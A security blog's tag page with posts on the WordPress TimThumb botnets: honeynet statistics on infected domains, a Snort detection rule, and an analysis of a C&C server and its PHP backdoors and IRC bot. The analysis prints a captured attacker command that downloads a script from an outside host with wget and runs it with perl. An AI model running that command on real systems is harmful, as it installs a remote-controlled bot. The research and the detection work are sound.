Posts tagged Botnet

WordPress TimThumb Botnets Spreads Status – second edition

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Since the discovery of the WordPress TimThumb vulnerability in August 2011 by Mark Maunder, the vulnerability has been used as botnet recruitment vector, and has now spread in multiple botnets. Hundreds of WordPress blogs have been hacked, allowing potential infection of the blogs visitors, diffusion of spam and phishing campaign, DDoS, hack of other web sites (such as About.us domain name registrar), etc, etc. Some of these infected WordPress were controlled by well-known C&C servers used and shared by black hats from around the world.

Six month after the discovery of the vulnerability I had made a first status on the WordPress TimThumb spread with some nice visualizations and graphs representing the botnet activities.

We are soon one year after the discovery of the vulnerability and a second status on the WordPress TimThumb botnets could be done. Are the botnets still active, are less WordPress blogs vulnerable, is the pick of spread over ? We will try, through an analysis of all the WordPress TimThumb vulnerability exploitation attempts against our Honey Net, to answer these questions. The data’s collected through our Honey Net are representing only a small part of the real activity of the WordPress TimThumb botnets, but these data’s could also represent an extrapolation of the real activities.

List of all detected infected domains

You can find in the following table the complete list of all detected infected domains how were called during the WordPress TimThumb RFI attack, with the domain associated IP address, the country where the blog were hosted, the number of distinct source IPs how have call the related domain during the RFI attack and the live time of the domain name.

We have a total of 473 affected domains compared to the 202 six month before. This number demonstrates that 11 months after the vulnerability discovery the botnet is still in activity and that the number of infected domains are still important. “blogger.com.dollhousedelights.com“, hosted in Taiwan (IP has moved from Vietnam to Taiwan), was the affected domain how was called by the much more distinct source IPs (265), followed by “picasa.com.xpl.be” with 167 distinct source IPs, and at the third place “blogger.com.midislandrental.com” with 110 distinct source IPs.

picasa.com.xpl.be” has a live time of 238 days, followed by “upload.wikimedia.org.penguinet.co.ke” with a live time of 218 days, “blogger.com.sabrosaserver.com” with 211 days, “wordpress.com.airatrip.com” with 186 days and “flickr.com.bpmohio.com” with 179 days.

29 domains have a live time above 100 days and 86 domains have a live time between 30 days and 100 days.

Infected blogs countries repartition

You can find in the following graphs (Chart1Chart2) the geographically repartition of the infected blogs.

We have a total of 45 different countries for 473 affected domains. United States is in first position with 57% (284) of all infected blogs, followed by Canada with 5.2% (26), United Kingdom with each 4.4% (22) of all infected blogs. US is still in the first position (+155) of infected WordPress and we can see that the infected countries are quiet the same as six months ago.

Infected blogs countries repartition by number of source IPs

You can find in the following graphs (Chart3Chart4) the geographically repartition of the infected blogs by number of distinct source IPs how have call the infected blogs.

We have a total of 3340 distinct source IPs for 473 affected domains and 45 different hosting countries. United States is in first position with 44.3% (1480), followed by Vietnam with 8.4% (279), Chile with 4.3% (143), Romania with 4.3% (142) and Australia with 3.6% (119). US is in the first position (+639) of infected WordPress, Vietnam in second position but source IPs have drastically decrease compared to six months ago (only +36).

Timeline by day of infected blogs calls and source IPs

You can find in the following timeline (Chart5) a representation by day of the infected blogs number calls and source IPs.

From January 2012 to April 2012 the botnet spread has constantly decrease in term of number of affected hosts and source IPs, but in April 2012 the botnet has suddenly increase his activity. November 2011 was the most active month for the number of source IPs.

Geographic timeline by day of all source IPs

In this geographic time map we’re loading data’s from a Google Spreadsheet (published here). These data’s are coming from our HoneyNet and are representing the geographic WordPress TimThumb Botnet activities from 15-09-2011 to 01-07-2012.

Conclusion

WordPress TimThumb botnets, one year after the vulnerability discovery, is still continuing to infect new blogs, the pick of spread is over since November 2011. My personal opinion is that we will steal continue to hear about these botnets during second part of 2012.

SUC029 : WordPress TimThumb RFI Web Scanner/Robot

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  • Use Case Reference : SUC029
  • Use Case Title : WordPress TimThumb RFI Web Scanner/Robot
  • Use Case Detection : IDS / HTTP logs
  • Attacker Class : Opportunists
  • Attack Sophistication : Unsophisticated
  • Identified tool(s) : ByroeNet scanners variant
  • Source IP(s) : Random
  • Source Countries : Random
  • Source Port(s) : Random
  • Destination Port(s) : 80/TCP, 443/TCP

Possible(s) correlation(s) :

Source(s) :

ZATAZ SIG 1010050 triggers are :

  • URI should contain “wp-content” and “php?src=http
  • The source port could be any FROM EXTERNAL_NET in destination of an HTTP_SERVERS HTTP_PORTS.
  • Threshold is configured to count 1 occurrence in 30 seconds for the same IP source.
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ZATAZ Timthumb.php - ACCESS - posssible WordPress-Attack"; flow:established,to_server; uricontent:"wp-content"; nocase; uricontent:"php?src=http"; nocase; threshold:type limit, count 1, seconds 30, track by_src; classtype:web-application-attack; sid:1010050; priority:3; rev:1;)
SIG 1010050 1 Week events activity

SIG 1010050 1 Week events activity

SIG 1010050 1 month events activity

SIG 1010050 1 month events activity

SIG 1010050 1 year events activity

SIG 1010050 1 year events activity

1 Month TOP 10 source IPs for SIG 1010050

1 Month TOP 10 source IPs for SIG 1010050

WordPress TimThumb Botnets Spreads Status – first edition

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Since the discovery of the WordPress TimThumb vulnerability in August 2011 by Mark Maunder, the vulnerability has been used as botnet recruitment vector, and has now spread in multiple botnets. Hundreds of WordPress blogs have been hacked, allowing potential infection of the blogs visitors, diffusion of spam and phishing campaign, DDoS, hack of other web sites (such as About.us domain name registrar), etc, etc. Some of these infected WordPress were controlled by well known C&C servers used and shared by black hats from around the world.

We are soon six month after the discovery of the vulnerability and a status on the WordPress TimThumb botnets could be done. Are the botnets still active, are less WordPress blogs vulnerable, is the pick of spread over ? We will try, through an analysis of all the WordPress TimThumb vulnerability exploitation attempts against our Honey Net, to answer these questions. The datas collected through our Honey Net are representing only a small part of the real activity of the WordPress TimThumb botnets, but these datas could also represent an extrapolation of the real activities.

List of all detected infected domains

You can find in the following table the complete list of all detected infected domains how were called during the WordPress TimThumb RFI attack, with the domain associated IP address, the country where the blog were hosted, the number of distinct source IPs how have call the related domain during the RFI attack and the live time of the domain name.

We have a total of 202 affected domains. “blogger.com.dollhousedelights.com“, hosted in Vietnam, was the affected domain how was called by the much more distinct source IPs (258), followed by “picasa.com.xpl.be” with 152 distinct source IPs, and at the third place “blogger.com.midislandrental.com” with 110 distinct source IPs.

picasa.com.xpl.be” and “picasa.computergoogle.co.cc” have the longer live time with 105 days, followed by “wordpress.com.hostdail.com” and “blogger.com.pasbar.com” with 72 days.

Infected blogs countries repartition

You can find in the following graphs (Chart1Chart2) the geographically repartition of the infected blogs.

We have a total of 31 different countries for 202 affected domains. United States is in first position with 58.9% (129) of all infected blogs, followed by Australia, Canada and United Kingdom with each 3.7% (8) of all infected blogs.

Infected blogs countries repartition by number of source IPs

You can find in the following graphs (Chart3Chart4) the geographically repartition of the infected blogs by number of distinct source IPs how have call the infected blogs.

We have a total of 1734 distinct source IPs for 202 affected domains and 31 different hosting countries. United States is in first position with 48.5% (841), followed by Vietnam with 14% (243), Indonesia with 4.7% (82) and Taiwan with 4.1% (71).

Timeline by day of infected blogs calls and source IPs

You can find in the following timeline (Chart5) a representation by day of the infected blogs number calls and source IPs.

November 2011 was the most active month for the number of source IPs and that in December the number of source IPs has drastically decrease. You can see that during the first half of November the number of infected blogs calls have increase days after days, and since the 22 November the number of infected blogs is stabilized but is not decreasing.

Geographic timeline by day of all source IPs

In this geographic time map we’re loading datas from a Google Spreadsheet (published here). These datas are coming from our HoneyNet and are representing the geographic Wordpress TimThumb Botnet activities from 15-09-2011 to 03-12-2011.

AfterGlow representation of the WordPress TimThumb

By clicking on the following link, you can download an AfterGlow representation of the WordPress TimThumb botnets with links between each nodes.

Conclusion

WordPress TimThumb botnets are still continuing to infect new blogs, but the associated activities are decreasing since second half December. Maybe black hats are still in holidays :) My personal opinion is that we will steal continu to hear about these botnets during complete 2012.

gangbang.mytijn.org Malware Spreader Down

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By analyzing the payloads and associated C&C used by the WordPress Timthumb botnets, I founded an interesting C&C server named “gangbang.mytijn.org“. And in collaboration with Luxembourg CIRCL, the domain gangbang.mytijn.org is down since the 14 December 2011. This C&C server was known for spreading tonnes of malwares on Internet.

The initial infected WordPress sites were :

  • 222.255.77.90 – AS7643 – Vietnam

This infected server was first seen the 2011-11-05 18:54:22 and last seen the 2011-11-28 05:05:55. 214 distinct source IPs have call malwares hosted on three different virtual hosts. These three virtual hosts were blogger.com.dollhousedelights.comimg.youtube.com.dollhousedelights.com and blog.ssis.edu.vn.

blogger.com.dollhousedelights.com has spread 2 different malwares (PHP backdoor):

/.mods/sh.php - MD5: 027d17ab2ef49d442377c126dfa8fd1f - First seen the 2011-11-05 18:55:02
/.mods/index.php - MD5: 51ad7df89f3e7162128b9d642a7ec75b - First seen the 2011-11-05 18:55:05

img.youtube.com.dollhousedelights.com has spread 4 different malwares :

/.mods/sh.php - MD5: b545d6934b776026e6bbfd1f7ef4bb27 - First seen the 2011-11-17 07:37:15
/.mods/sh.php - MD5: acbc38367ffd62c42e1ae20c24890b55 - First seen the 2011-11-23 01:50:04
/.mods/index.php - MD5: 4ba8b20decc7605720ce2637ae51893c - First seen the 2011-11-27 23:50:04
/.mods/sh.php - MD5: ec1766b6a365db5099f53c85ad2ed2f1 - First seen the 2011-11-28 02:25:04

All “sh.php” malwares were PHP backdoor, and the “index.php” was a PHP IRC bot.

blog.ssis.edu.vn has spread one malware (PHP backdoor):

/.mods/pbot.txt? - MD5: 8da596365d76ce39bee05c75c2c0030b - First seen the 2011-11-17 07:25:05
  • 192.83.167.206 – AS9505 – Taiwan

This infected server was first seen the 2011-11-28 03:30:09 and last seen the 2011-12-08 03:06:44. 71 distinct source IPs have call malwares hosted on three different virtual hosts. These three virtual hosts were blogger.com.dollhousedelights.comimg.youtube.com.dollhousedelights.com and img.youtube.com.midislandrental.com. As you can see blogger.com.dollhousedelights.com and img.youtube.com.dollhousedelights.comwere load balanced (DNS round robin).

blogger.com.dollhousedelights.com has spread 1 malware (PHP Backdoor):

/.mods/pbot.txt? - MD5: 8da596365d76ce39bee05c75c2c0030b - First seen the 2011-11-28 03:35:03

img.youtube.com.dollhousedelights.com has spread 3 different malwares:

/.mods/sh.php - MD5: 027d17ab2ef49d442377c126dfa8fd1f - First seen the 2011-11-28 05:20:03
/.mods/index.php - MD5: 4ba8b20decc7605720ce2637ae51893c - First seen the 2011-11-28 05:35:07
/.mods/sh.php - MD5: e2b94559ff0c3d9219b3a43bf6dcd8bd - First seen the 2011-11-29 07:15:03

All “sh.php” malwares were PHP backdoor, and the “index.php” was a PHP IRC bot.

  • Analyzing the C&C servers

The PHP IRC bot was interesting, cause he invoke the potential first C&C server. You can find the encoded and decoded versions of the PHP IRC bot on pastbin. This script also permit to execute commands on the affected server and execute UDP or TCP flood attacks.

You can see that the first C&C server is gangbang.mytijn.org on port 23232/TCP and the #wWw# channel is protected by password. Also it is required to display a particular nick name, ident and real name in order to be identified on the IRC server.

Also by digging gangbang.mytijn.org domain name at different time, we can see that the domain was load balanced by using DNS round robin method. Each IP addresses present in the round robin load balancing had also the port 23232/TCP open.

By playing with Cuckoo Sandbox, the first C&C owners have execute some commands on the sandbox, and permit me to analyse the java.txt file.

cd /tmp && rm -rf java.txt && wget http://72.41.115.123/.mods/java.txt && chmod 755 java.txt && perl java.txt && … && rm -rf java.txt

You can also find the java.txt script on pastebin. This script connects to second C&C server, making the first C&C only a proxy. But this script also permit to execute different attacks like RFI, LFI, SQL injection and targeting specific web applications like e107, osCommerce and WordPress.

The second C&C server is known as irc.javairc.org on port 6667/TCP. Most of the affected machines were located on this IRC server.

Some funny conversations were made by the C&C owners and all this conversations were done in Indonesian.

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